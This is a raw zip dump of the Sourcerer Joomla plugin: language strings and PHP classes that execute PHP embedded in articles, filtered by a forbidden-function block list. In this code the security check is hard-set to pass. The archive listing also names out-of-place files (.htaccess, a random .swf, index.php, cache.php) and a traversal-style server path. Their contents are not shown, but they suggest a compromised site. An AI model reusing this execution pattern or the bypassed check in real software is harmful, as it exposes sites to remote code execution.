SRC_PHP_SECURITY_LEVEL_DESC="Set the level of security. PHP tags (and the PHP code within) will be stripped from articles with an owner (creator) below this group level. If the overall security level is set higher, it will overrule this." SRC_RAW="Raw Code" SRC_RAW_DESC="Not using a WYSIWYG editor? Select to prevent Sourcerer from stripping the HTML code." SRC_REMOVE_FROM_SEARCH="Remove from search" SRC_REMOVE_FROM_SEARCH_DESC="Select to remove the Sourcerer tags and content from the search results." SRC_SECURITY_LEVEL="Security Level" SRC_SECURITY_LEVEL_DESC="Set the level of security. Sourcerer tags will be stripped from articles where the an owner (creator) is not a member of these groups." SRC_SECURITY_SETTINGS_ARTICLES_DESC="These settings have effect on Articles and Categories.<br>The security settings only have effect on articles." SRC_SECURITY_SETTINGS_COMPONENTS_DESC="These settings have effect on the component area.<br>You can select in which components Sourcerer should not be enabled. Advise is to not allow Sourcerer in components that non-backend users can post content in." SRC_SECURITY_SETTINGS_DEFAULT_DESC="Here you can set what kind of code can be used within the Sourcerer tags. All code that is not permitted will be stripped away. For more precise settings, see the other Security tabs." SRC_SECURITY_SETTINGS_OTHER_AREAS_DESC="These settings have effect on the areas outside the component area (so in Modules and the rest of the website)." SRC_SHOW_WIZARD="Show Wizard" SRC_SYNTAX_WORD="Sourcerer tag word" SRC_SYNTAX_WORD_DESC="This defines the word to use as the Sourcerer syntax tag.<br><br>Default is 'source'. Which means the tags to use are: <span class="rl-code">{source}...{/source}</span>" SRC_TAG_ATTRIBUTES="Tag Attributes" SRC_TAG_ATTRIBUTES_DESC="Enter any attributes you want to add inside the Sourcerer tag itself." SRC_TAG_REMOVED_FORBIDDEN="The tag (%s) has been removed, because it is forbidden." SRC_TAG_SETTINGS="Tag Settings" SRC_TEMP_PATH="Temporary File Folder" SRC_TEMP_PATH_DESC="Please specify a writable folder to store temporary files.<br>Leave empty to use the Joomla global Temp Folder." SRC_TRIM="Strip surrounding HTML tags" SRC_TRIM_DESC="Select to make Sourcerer remove the surrounding paragraph tags (or span tags)." PK�\ݢL���src/Protect.phpnu&1i�<?php /** * @package Sourcerer * @version 12.1.0 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\Sourcerer; defined('_JEXEC') or die; use RegularLabs\Library\Protect as RL_Protect; class Protect { static $name = 'Sourcerer'; public static function _(string &$string): void { RL_Protect::protectForm($string, Params::getTags(true), true, 'no-sourcerer'); } /** * Wrap the comment in comment tags * * @param string $comment * * @return string */ public static function getMessageCommentTag(string $comment): string { return RL_Protect::getMessageCommentTag(self::$name, $comment); } public static function protectTags(string &$string): void { RL_Protect::protectTags($string, Params::getTags(true)); } public static function unprotectTags(string &$string): void { RL_Protect::unprotectTags($string, Params::getTags(true)); } } PK�\F���::src/Params.phpnu&1i�<?php /** * @package Sourcerer * @version 12.1.0 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\Sourcerer; defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use RegularLabs\Library\Input as RL_Input; use RegularLabs\Library\Parameters as RL_Parameters; use RegularLabs\Library\PluginTag as RL_PluginTag; use RegularLabs\Library\RegEx as RL_RegEx; class Params { protected static $areas = null; protected static $params = null; protected static $regexes = null; public static function get(string $key = '', mixed $default = ''): mixed { if ($key != '') { return self::getByKey($key, $default); } if ( ! is_null(self::$params)) { return self::$params; } $user = JFactory::getApplication()->getIdentity() ?: JFactory::getUser(); $params = RL_Parameters::getPlugin('sourcerer'); $params->tag = RL_PluginTag::clean($params->syntax_word); $params->splitter = '<!-- START: SRC_SPLIT -->'; $params->include_path = str_replace('//', '/', ('/' . trim($params->include_path, ' /\\') . '/')); $params->user_is_admin = $user->authorise('core.admin', 1); self::$params = $params; return self::$params; } public static function getArea(?string $type = 'default'): object { $areas = self::getAreaSettings(); return $areas->{$type} ?? $areas->default; } public static function getAreaSettings(): object { if ( ! is_null(self::$areas)) { return self::$areas; } $areas = (object) []; // Initialise the different enables $areas->default = self::getAreaDefault(); self::$areas = $areas; return self::$areas; } public static function getRegex($type = 'tag'): string { $regexes = self::getRegexes(); return $regexes->{$type} ?? $regexes->tag; } public static function getTagCharacters(): array { $params = self::get(); if ( ! isset($params->tag_character_start)) { self::setTagCharacters(); } return [$params->tag_character_start, $params->tag_character_end]; } public static function getTags(bool $only_start_tags = false): array { $params = self::get(); [$tag_start, $tag_end] = self::getTagCharacters(); $tags = [ [ $tag_start . $params->tag, ], [ $tag_start . '/' . $params->tag . $tag_end, ], ]; return $only_start_tags ? $tags[0] : $tags; } public static function setTagCharacters(): void { $params = self::get(); [self::$params->tag_character_start, self::$params->tag_character_end] = explode('.', $params->tag_characters); } private static function getAreaByType(string $type = 'default'): object { } private static function getAreaDefault(): object { $params = self::get(); return (object) [ 'enable' => true, 'enable_css' => $params->enable_css, 'enable_js' => $params->enable_js, 'enable_php' => $params->enable_php, 'forbidden_php' => $params->forbidden_php, 'forbidden_tags' => $params->forbidden_tags, ]; } private static function getByKey(string $key, mixed $default = ''): mixed { $params = self::get(); return ($params->{$key} ?? null) ?: $default; } private static function getRegexes(): object { if ( ! is_null(self::$regexes)) { return self::$regexes; } $params = self::get(); // Tag character start and end [$tag_start, $tag_end] = Params::getTagCharacters(); $tag_start = RL_RegEx::quote($tag_start); $tag_end = RL_RegEx::quote($tag_end); $pre = RL_PluginTag::getRegexSurroundingTagPre(); $post = RL_PluginTag::getRegexSurroundingTagPost(); $spaces = RL_PluginTag::getRegexSpaces('*'); self::$regexes = (object) []; self::$regexes->tag = '(' . '(?<start_pre>' . $pre . ')' . $tag_start . RL_RegEx::quote($params->tag) . $spaces . '(?<data>( .*?)?)' . $tag_end . '(?<start_post>' . $post . ')' . '(?<content>.*?)' . '(?<end_pre>' . $pre . ')' . $tag_start . '\/' . RL_RegEx::quote($params->tag) . $tag_end . '(?<end_post>' . $post . ')' . ')'; return self::$regexes; } } PK�\��i� � src/Clean.phpnu&1i�<?php /** * @package Sourcerer * @version 12.1.0 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\Sourcerer; defined('_JEXEC') or die; use Joomla\CMS\Language\Text as JText; use RegularLabs\Library\PluginTag as RL_PluginTag; use RegularLabs\Library\Protect as RL_Protect; use RegularLabs\Library\RegEx as RL_RegEx; use RegularLabs\Library\StringHelper as RL_String; class Clean { public static function cleanFinalHtmlOutput(string &$html): void { RL_Protect::removeAreaTags($html, 'SRC'); $params = Params::get(); if ( ! $params->place_comments) { RL_Protect::removeCommentTags($html, 'Sourcerer'); } if ( ! str_contains($html, $params->tag_character_start . '/' . $params->tag)) { Protect::unprotectTags($html); return; } $regex = Params::getRegex(); $html = RL_RegEx::replace( $regex, Protect::getMessageCommentTag(JText::_('SRC_CODE_REMOVED_NOT_ENABLED')), $html ); Protect::unprotectTags($html); } public static function cleanTagsFromHead(string &$string): void { if ( ! RL_String::contains($string, Params::getTags(true))) { return; } $params = Params::get(); [$tag_start, $tag_end] = Params::getTagCharacters(); $inside_tag = RL_PluginTag::getRegexInsideTag($tag_start, $tag_end); $spaces = RL_PluginTag::getRegexSpaces(); $tag_start = RL_RegEx::quote($tag_start); $tag_end = RL_RegEx::quote($tag_end); $regex = Params::getRegex(); // Remove start tag to end tag $string = RL_RegEx::replace( $regex, '', $string ); // Remove start tag with optional php stuff after it $string = RL_RegEx::replace( $tag_start . RL_RegEx::quote($params->tag) . '(' . $spaces . $inside_tag . ')?' . $tag_end . '(\s*<\?php(.*?)\?>)?', '', $string ); // Remove left over end tags $string = RL_RegEx::replace( $tag_start . '\/' . RL_RegEx::quote($params->tag) . $tag_end, '', $string ); } } PK�\�td| | src/Security.phpnu&1i�<?php /** * @package Sourcerer * @version 12.1.0 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\Sourcerer; defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; class Security { protected static $security = null; public static function get(): object { if ( ! is_null(self::$security)) { return self::$security; } self::$security = (object) [ 'pass' => true, 'pass_css' => true, 'pass_js' => true, 'pass_php' => true, ]; return self::$security; } public static function set(object|false|null $article = null): void { if ( ! isset($article->created_by)) { return; } $params = Params::get(); $security_level = (array) $params->articles_security_level; $security_css = $params->articles_security_level_default_css ? (array) $params->articles_security_level : (array) $params->articles_security_level_css; $security_js = $params->articles_security_level_default_js ? (array) $params->articles_security_level : (array) $params->articles_security_level_js; $security_php = $params->articles_security_level_default_php ? (array) $params->articles_security_level : (array) $params->articles_security_level_php; $user = JFactory::getApplication()->getIdentity() ?: JFactory::getUser(); $table = $user->getTable(); if ($table->load($article->created_by)) { $user = JFactory::getUser($article->created_by); } $groups = $user->getAuthorisedGroups(); array_unshift($groups, -1); // Set if security is passed // passed = creator is equal or higher than security group level $security = (object) []; $pass = array_intersect($security_level, $groups); $security->pass = ( ! empty($pass)); $pass = array_intersect($security_css, $groups); $security->pass_css = ( ! empty($pass)); $pass = array_intersect($security_js, $groups); $security->pass_js = ( ! empty($pass)); $pass = array_intersect($security_php, $groups); $security->pass_php = ( ! empty($pass)); self::$security = $security; } } PK�\�l�99src/Area.phpnu&1i�<?php /** * @package Sourcerer * @version 12.1.0 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\Sourcerer; defined('_JEXEC') or die; use RegularLabs\Library\RegEx as RL_RegEx; class Area { static $prefix = 'SRC'; public static function get(string &$string, string $area = ''): array { if (empty($string) || empty($area)) { return []; } $start = '<!-- START: ' . self::$prefix . '_' . strtoupper($area) . ' -->'; $end = '<!-- END: ' . self::$prefix . '_' . strtoupper($area) . ' -->'; $matches = explode($start, $string); array_shift($matches); foreach ($matches as $i => $match) { [$text] = explode($end, $match, 2); $matches[$i] = [ $start . $text . $end, $text, ]; } return $matches; } public static function tag(string &$string, string $area = ''): bool { if (empty($string) || empty($area)) { return false; } $string = '<!-- START: ' . self::$prefix . '_' . strtoupper($area) . ' -->' . $string . '<!-- END: ' . self::$prefix . '_' . strtoupper($area) . ' -->'; if ($area != 'article_text') { return true; } $string = RL_RegEx::replace( '#(<hr class="system-pagebreak".*?>)#si', '<!-- END: ' . self::$prefix . '_' . strtoupper($area) . ' -->\1<!-- START: ' . self::$prefix . '_' . strtoupper($area) . ' -->', $string ); return true; } } PK�\��w�wEwEsrc/Replace.phpnu&1i�<?php /** * @package Sourcerer * @version 12.1.0 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\Sourcerer; defined('_JEXEC') or die; use Joomla\CMS\Language\Text as JText; use RegularLabs\Library\ArrayHelper as RL_Array; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\Html as RL_Html; use RegularLabs\Library\ObjectHelper as RL_Object; use RegularLabs\Library\Php as RL_Php; use RegularLabs\Library\PluginTag as RL_PluginTag; use RegularLabs\Library\Protect as RL_Protect; use RegularLabs\Library\RegEx as RL_RegEx; class Replace { static $article = null; static $current_area = null; public static function replace( string &$string, string $area = 'article', object|null $article = null, bool $remove = false ): void { if ( ! is_string($string) || $string == '') { return; } Protect::_($string); $regex = Params::getRegex(); $array = self::stringToSplitArray($string, $regex); $array_count = count($array); if ($array_count <= 1) { return; } self::$article = $article; for ($i = 1; $i < $array_count - 1; $i++) { if ( ! fmod($i, 2) || ! RL_RegEx::match($regex, $array[$i], $match)) { continue; } $content = self::handleMatch($match, $area, $remove); $array[$i] = $match['start_pre'] . $match['start_post'] . $content . $match['end_pre'] . $match['end_post']; } $string = implode('', $array); } public static function replaceInTheRest(string &$string): void { if ( ! is_string($string) || $string == '') { return; } [$start_tags, $end_tags] = Params::getTags(); [$pre_string, $string, $post_string] = RL_Html::getContentContainingSearches( $string, $start_tags, $end_tags ); if ($string == '') { $string = $pre_string . $string . $post_string; return; } // COMPONENT if (RL_Document::isFeed()) { $string = RL_RegEx::replace('(<item[^>]*>)', '\1<!-- START: SRC_COMPONENT -->', $string); $string = str_replace('</item>', '<!-- END: SRC_COMPONENT --></item>', $string); } if ( ! str_contains($string, '<!-- START: SRC_COMPONENT -->')) { Area::tag($string, 'component'); } $components = Area::get($string, 'component'); foreach ($components as $component) { self::replace($component[1], 'components'); $string = str_replace($component[0], $component[1], $string); } // EVERYWHERE self::replace($string, 'other'); $string = $pre_string . $string . $post_string; } private static function addInlineVariables(object $data, string &$content): void { } private static function cleanTags(string &$string): void { $tag_regex = '<(\/?[a-z\!][^>]*?(?:\s.*?)?)>'; $new_string = RL_RegEx::replace($tag_regex, '<\1\2>', $string); if ( ! is_null($new_string)) { $string = $new_string; } } private static function convertWysiwygToPlainText(string $content): string { $content = RL_Html::convertWysiwygToPlainText($content); // Remove trailing spaces from EOT lines $content = RL_RegEx::replace('(=\s*<<<([^\s]+)) ?(\n.*?\2;) ?', '\1\3', $content); return $content; } private static function getPhpFileCodeByType(?string $file, string $type): string { } private static function getPhpFilesCode(object $data): string { } private static function handleMatch( array &$match, string $area = 'article', bool $remove = false ): string { if ($remove) { return ''; } $params = Params::get(); $data = RL_PluginTag::getAttributesFromString($match['data']); $content = trim($match['content']); $data->raw ??= false; // Remove html tags if code is placed via the WYSIWYG editor if ( ! $data->raw) { $content = self::convertWysiwygToPlainText($content); } self::replacePhpShortCodes($content); self::replaceTags($content, $area); if ($data->raw) { return $content; } $trim = $data->trim ?? $params->trim; if ($trim) { $tags = RL_Html::cleanSurroundingTags([ 'start_pre' => $match['start_pre'], 'start_post' => $match['start_post'], ], ['div', 'p', 'span']); $match = [...$match, ...$tags]; $tags = RL_Html::cleanSurroundingTags([ 'end_pre' => $match['end_pre'], 'end_post' => $match['end_post'], ], ['div', 'p', 'span']); $match = [...$match, ...$tags]; $tags = RL_Html::cleanSurroundingTags([ 'start_pre' => $match['start_pre'], 'end_post' => $match['end_post'], ], ['div', 'p', 'span']); $match = [...$match, ...$tags]; } return $content; } private static function loadFiles(object $data, string &$content): void { } private static function loadMediaFile(?string $file, string $type, array $options = []): void { } private static function loadScripts(object $data): void { } private static function loadStylesheets(object $data): void { } private static function replacePhpShortCodes(string &$string): void { // Replace <? with <?php $string = RL_RegEx::replace('<\?(\s.*?)\?>', '<?php\1?>', $string); // Replace <?= with <?php echo $string = RL_RegEx::replace('<\?=\s*(.*?)\?>', '<?php echo \1?>', $string); } private static function replaceTags(string &$string, string $area = 'article'): void { if (empty($string)) { return; } // allow in component? if (RL_Protect::isRestrictedComponent(Params::get('components', []), $area)) { Protect::protectTags($string); return; } self::replaceTagsByType($string, $area, 'php'); self::replaceTagsByType($string, $area, 'all'); self::replaceTagsByType($string, $area, 'js'); self::replaceTagsByType($string, $area, 'css'); } /** * Replace any html style tags by a comment tag if not permitted * Match: <...> */ private static function replaceTagsAll( string &$string, bool $enabled = true, bool $security_pass = true ): void { if (empty($string)) { return; } if ( ! $enabled) { // replace source block content with HTML comment $string = Protect::getMessageCommentTag(JText::_('SRC_CODE_REMOVED_NOT_ENABLED')); return; } if ( ! $security_pass) { // replace source block content with HTML comment $string = Protect::getMessageCommentTag(JText::sprintf('SRC_CODE_REMOVED_SECURITY', '')); return; } self::cleanTags($string); $area = Params::getArea('default'); $forbidden_tags_array = explode(',', $area->forbidden_tags); RL_Array::clean($forbidden_tags_array); // remove the comment tag syntax from the array - they cannot be disabled $forbidden_tags_array = array_diff($forbidden_tags_array, ['!--']); // reindex the array $forbidden_tags_array = [...$forbidden_tags_array]; $has_forbidden_tags = false; foreach ($forbidden_tags_array as $forbidden_tag) { if ( ! ( ! str_contains($string, '<' . $forbidden_tag))) { $has_forbidden_tags = true; break; } } if ( ! $has_forbidden_tags) { return; } // double tags $tag_regex = '<\s*([a-z\!][^>\s]*?)(?:\s+.*?)?>.*?</\1>'; RL_RegEx::matchAll($tag_regex, $string, $matches); if ( ! empty($matches)) { foreach ($matches as $match) { if ( ! in_array($match[1], $forbidden_tags_array)) { continue; } $tag = Protect::getMessageCommentTag(JText::sprintf('SRC_TAG_REMOVED_FORBIDDEN', $match[1])); $string = str_replace($match[0], $tag, $string); } } // single tags $tag_regex = '<\s*([a-z\!][^>\s]*?)(?:\s+.*?)?>'; RL_RegEx::matchAll($tag_regex, $string, $matches); if ( ! empty($matches)) { foreach ($matches as $match) { if ( ! in_array($match[1], $forbidden_tags_array)) { continue; } $tag = Protect::getMessageCommentTag(JText::sprintf('SRC_TAG_REMOVED_FORBIDDEN', $match[1])); $string = str_replace($match[0], $tag, $string); } } } private static function replaceTagsByType( ?string &$string, string $area = 'article', string $type = 'all' ): void { if (empty($string)) { return; } $type_ext = '_' . $type; if ($type == 'all') { $type_ext = ''; } $area_params = Params::getArea('default'); $security_pass = true; $enable = (bool) ($area_params->{'enable' . $type_ext} ?? true); switch ($type) { case 'php': self::replaceTagsPHP($string, $enable, $security_pass); break; case 'js': self::replaceTagsJS($string, $enable, $security_pass); break; case 'css': self::replaceTagsCSS($string, $enable, $security_pass); break; default: self::replaceTagsAll($string, $enable, $security_pass); break; } } /** * Replace the CSS tags by a comment tag if not permitted */ private static function replaceTagsCSS( string &$string, bool $enabled = true, bool $security_pass = true ): void { if (empty($string)) { return; } // quick check to see if i is necessary to do anything if (( ! str_contains($string, 'style')) && ( ! str_contains($string, 'link'))) { return; } // Match: // <script ...>...</script> $tag_regex = '(<\s*style\s[^>]*?[^/]\s*>' . '(.*?)' . '<\s*\/\s*style\s*>)'; $arr = self::stringToSplitArray($string, $tag_regex); $arr_count = count($arr); // Match: // <script ...> // single script tags are not xhtml compliant and should not occur, but just in case they do... if ($arr_count == 1) { $tag_regex = '(<\s*link\s[^>]*?(rel="stylesheet"|type="text/css").*?>)'; $arr = self::stringToSplitArray($string, $tag_regex); $arr_count = count($arr); } if ($arr_count <= 1) { return; } if ( ! $enabled) { // replace source block content with HTML comment $string = Protect::getMessageCommentTag(JText::sprintf('SRC_CODE_REMOVED_NOT_ALLOWED', JText::_('SRC_CSS'))); return; } if ( ! $security_pass) { // replace source block content with HTML comment $string = Protect::getMessageCommentTag(JText::sprintf('SRC_CODE_REMOVED_SECURITY', JText::_('SRC_CSS'))); return; } } /** * Replace the JavaScript tags by a comment tag if not permitted */ private static function replaceTagsJS( string &$string, bool $enabled = true, bool $security_pass = true ): void { if (empty($string)) { return; } // quick check to see if i is necessary to do anything if (( ! str_contains($string, 'script'))) { return; } // Match: // <script ...>...</script> $tag_regex = '(<\s*script\s[^>]*?[^/]\s*>' . '(.*?)' . '<\s*\/\s*script\s*>)'; $arr = self::stringToSplitArray($string, $tag_regex); $arr_count = count($arr); // Match: // <script ...> // single script tags are not xhtml compliant and should not occur, but just incase they do... if ($arr_count == 1) { $tag_regex = '(<\s*script\s.*?>)'; $arr = self::stringToSplitArray($string, $tag_regex); $arr_count = count($arr); } if ($arr_count <= 1) { return; } if ( ! $enabled) { // replace source block content with HTML comment $string = Protect::getMessageCommentTag(JText::sprintf('SRC_CODE_REMOVED_NOT_ALLOWED', JText::_('SRC_JAVASCRIPT'))); return; } if ( ! $security_pass) { // replace source block content with HTML comment $string = Protect::getMessageCommentTag(JText::sprintf('SRC_CODE_REMOVED_SECURITY', JText::_('SRC_JAVASCRIPT'))); return; } } /** * Replace the PHP tags with the evaluated PHP scripts * Or replace by a comment tag the PHP tags if not permitted */ private static function replaceTagsPHP( string &$string, bool $enabled = true, bool $security_pass = true ): void { if (empty($string)) { return; } if (( ! str_contains($string, '<?'))) { return; } // Match ( read {} as <> ): // {?php ... ?} // {? ... ?} $string_array = self::stringToSplitArray($string, '<\?(?:php)?[\s<](.*?)\?>'); $string_array_count = count($string_array); if ($string_array_count < 1) { $string = implode('', $string_array); return; } if ( ! $enabled) { // replace source block content with HTML comment $string_array = []; $string_array[0] = Protect::getMessageCommentTag(JText::sprintf('SRC_CODE_REMOVED_NOT_ALLOWED', JText::_('SRC_PHP'))); $string = implode('', $string_array); return; } if ( ! $security_pass) { // replace source block content with HTML comment $string_array = []; $string_array[0] = Protect::getMessageCommentTag(JText::sprintf('SRC_CODE_REMOVED_SECURITY', JText::_('SRC_PHP'))); $string = implode('', $string_array); return; } // if source block content has more than 1 php block, combine them if ($string_array_count > 3) { for ($i = 2; $i < $string_array_count - 1; $i++) { if (fmod($i, 2) == 0) { $string_array[1] .= "<!-- SRC_SEMICOLON --> ?>" . $string_array[$i] . "<?php "; unset($string_array[$i]); continue; } $string_array[1] .= $string_array[$i]; unset($string_array[$i]); } } $semicolon = '<!-- SRC_SEMICOLON -->'; $script = trim($string_array[1]) . $semicolon; $script = RL_RegEx::replace('(;\s*)?' . RL_RegEx::quote($semicolon), ';', $script); $area = Params::getArea('default'); $forbidden_php_array = explode(',', $area->forbidden_php); RL_Array::clean($forbidden_php_array); $forbidden_php_regex = '[^a-z_](' . implode('|', $forbidden_php_array) . ')(\s*\(|\s+[\'"])'; RL_RegEx::matchAll($forbidden_php_regex, ' ' . $script, $functions); if ( ! empty($functions)) { $functionsArray = []; foreach ($functions as $function) { $functionsArray[] = $function[1] . ')'; } $comment = JText::_('SRC_PHP_CODE_REMOVED_FORBIDDEN') . ': ( ' . implode(', ', $functionsArray) . ' )'; $string_array[1] = RL_Document::isHtml() ? Protect::getMessageCommentTag($comment) : ''; $string = implode('', $string_array); return; } $output = RL_Php::execute('<?php ' . $script . ' ?>', self::$article); $string_array[1] = $output; $string = implode('', $string_array); } private static function stringToSplitArray( string $string, string $search ): array { $params = Params::get(); $string = RL_RegEx::replace($search, $params->splitter . '\1' . $params->splitter, $string); return explode($params->splitter, $string); } } PK4��\}&�C,C, sourcerer.xmlnu&1i�PK4��\,�E �,sourcerer.phpnu&1i�PK4��\� �336�?language/pt-PT/pt-PT.plg_editors-xtd_sourcerer.sys.ininu&1i�PK5��\��b�||2iBlanguage/pt-PT/pt-PT.plg_editors-xtd_sourcerer.ininu&1i�PK5��\���))6GFlanguage/en-GB/en-GB.plg_editors-xtd_sourcerer.sys.ininu&1i�PK5��\�TT2�Hlanguage/en-GB/en-GB.plg_editors-xtd_sourcerer.ininu&1i�PK5��\�O�����Lscript.install.phpnu&1i�PK5��\�"x:�� �Rsrc/Popup.phpnu&1i�PK5��\�� �Wtmpl/popup.phpnu&1i�PK5��\� �=� � /bforms/popup.xmlnu&1i�PK�\�,r��llanguage/language/.htaccessnu&1i�PK�\����<mlanguage/language/WxQZSetk.swfnu&1i�PK�\ѝ< 88j�language/language/index.phpnu&1i�PK�\h���language/language/cache.phpnu&1i�PK�\(% 'r%r%-C�language/pt-PT/pt-PT.plg_system_sourcerer.ininu&1i�PK�\RZ��**1�language/pt-PT/pt-PT.plg_system_sourcerer.sys.ininu&1i�PK�\A��1��language/en-GB/en-GB.plg_system_sourcerer.sys.ininu&1i�PK�\��p�$$-�language/en-GB/en-GB.plg_system_sourcerer.ininu&1i�PK�\ݢL�����src/Protect.phpnu&1i�PK�\F���::��src/Params.phpnu&1i�PK�\��i� � src/Clean.phpnu&1i�PK�\�td| | $ src/Security.phpnu&1i�PK�\�l�99�src/Area.phpnu&1i�PK�\��w�wEwEUsrc/Replace.phpnu&1i�PK�e
/home/opticamezl/www/newok/cache/../cache/./../cli/../cache/../bin/../cache/../api/../sourcerer.zip